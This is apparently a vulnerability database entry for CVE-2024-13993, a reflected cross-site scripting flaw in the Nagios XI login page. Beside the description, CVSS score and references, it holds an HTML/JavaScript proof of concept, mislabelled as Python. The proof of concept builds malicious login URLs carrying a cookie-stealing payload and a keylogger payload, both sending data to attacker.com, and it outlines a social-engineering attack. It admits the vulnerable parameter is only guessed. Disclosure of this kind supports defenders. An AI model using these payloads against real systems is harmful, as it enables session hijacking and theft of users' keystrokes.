CVE-2024-13993

Description

Nagios XI versions prior to < 2024R1.1.2 are vulnerable to a reflected cross-site scripting (XSS) via the login page when accessed with older web browsers. Insufficient validation or escaping of user-supplied input reflected by the login page can allow an attacker to craft a malicious link that, when visited by a victim, executes arbitrary JavaScript in the victim’s browser within the Nagios XI origin. The issue is observable under legacy browser behaviors; modern browsers may mitigate some vectors.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2024:r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2024:r1.0.1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2024:r1.1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2024:r1.1.1:*:*:*:*:*:* - VULNERABLE

Nagios XI < 2024R1.1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2024-13993 PoC: Reflected XSS via login page -->
<!-- Target: Nagios XI versions < 2024R1.1.2 -->
<!-- Note: This vulnerability primarily affects legacy browsers -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2024-13993 PoC</title>
</head>
<body>
    <h1>CVE-2024-13993: Nagios XI Reflected XSS PoC</h1>
    
    <p><strong>Target:</strong> Nagios XI Login Page</p>
    <p><strong>Affected Versions:</strong> < 2024R1.1.2</p>
    <p><strong>Vulnerability Type:</strong> Reflected Cross-Site Scripting (XSS)</p>
    
    <h2>Malicious URL Examples:</h2>
    
    <h3>Example 1: Basic XSS Payload</h3>
    <code id="xss1"></code>
    <button onclick="copyToClipboard('xss1')">Copy URL</button>
    
    <h3>Example 2: Cookie Stealing Payload</h3>
    <code id="xss2"></code>
    <button onclick="copyToClipboard('xss2')">Copy URL</button>
    
    <h3>Example 3: Keylogger Payload</h3>
    <code id="xss3"></code>
    <button onclick="copyToClipboard('xss3')">Copy URL</button>
    
    <h2>Attack Scenario:</h2>
    <ol>
        <li>Attacker identifies a vulnerable Nagios XI installation (< 2024R1.1.2)</li>
        <li>Attacker crafts a malicious URL with XSS payload in login page parameter</li>
        <li>Attacker uses social engineering to trick victim into clicking the link</li>
        <li>Victim uses legacy browser to access the malicious URL</li>
        <li>Malicious JavaScript executes in victim's browser within Nagios XI context</li>
        <li>Attacker steals session cookies or performs actions on behalf of victim</li>
    </ol>
    
    <script>
        // Replace 'TARGET_URL' with actual Nagios XI URL
        const targetUrl = 'TARGET_URL';
        
        // XSS Payloads
        const payload1 = '<script>alert("XSS by CVE-2024-13993")<\/script>';
        const payload2 = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)"> ';
        const payload3 = '<script>document.addEventListener("keypress",function(e){new Image().src="https://attacker.com/log?k="+e.key})<\/script>';
        
        // Construct malicious URLs (assuming vulnerable parameter is 'redirect' or similar)
        const maliciousUrl1 = targetUrl + '/nagiosxi/login.php?redirect=' + encodeURIComponent(payload1);
        const maliciousUrl2 = targetUrl + '/nagiosxi/login.php?redirect=' + encodeURIComponent(payload2);
        const maliciousUrl3 = targetUrl + '/nagiosxi/login.php?redirect=' + encodeURIComponent(payload3);
        
        document.getElementById('xss1').textContent = maliciousUrl1;
        document.getElementById('xss2').textContent = maliciousUrl2;
        document.getElementById('xss3').textContent = maliciousUrl3;
        
        function copyToClipboard(elementId) {
            const text = document.getElementById(elementId).textContent;
            navigator.clipboard.writeText(text);
            alert('URL copied to clipboard!');
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-13993
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-13993
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-13993/
[4] VulDB https://vuldb.com/cve/CVE-2024-13993
[5] https://www.nagios.com/changelog/nagios-xi/
[6] https://www.nagios.com/products/security/#nagios-xi
[7] https://www.vulncheck.com/advisories/nagios-xi-reflected-xss-via-login-page-on-older-browsers

Raw JSON Data

JSON

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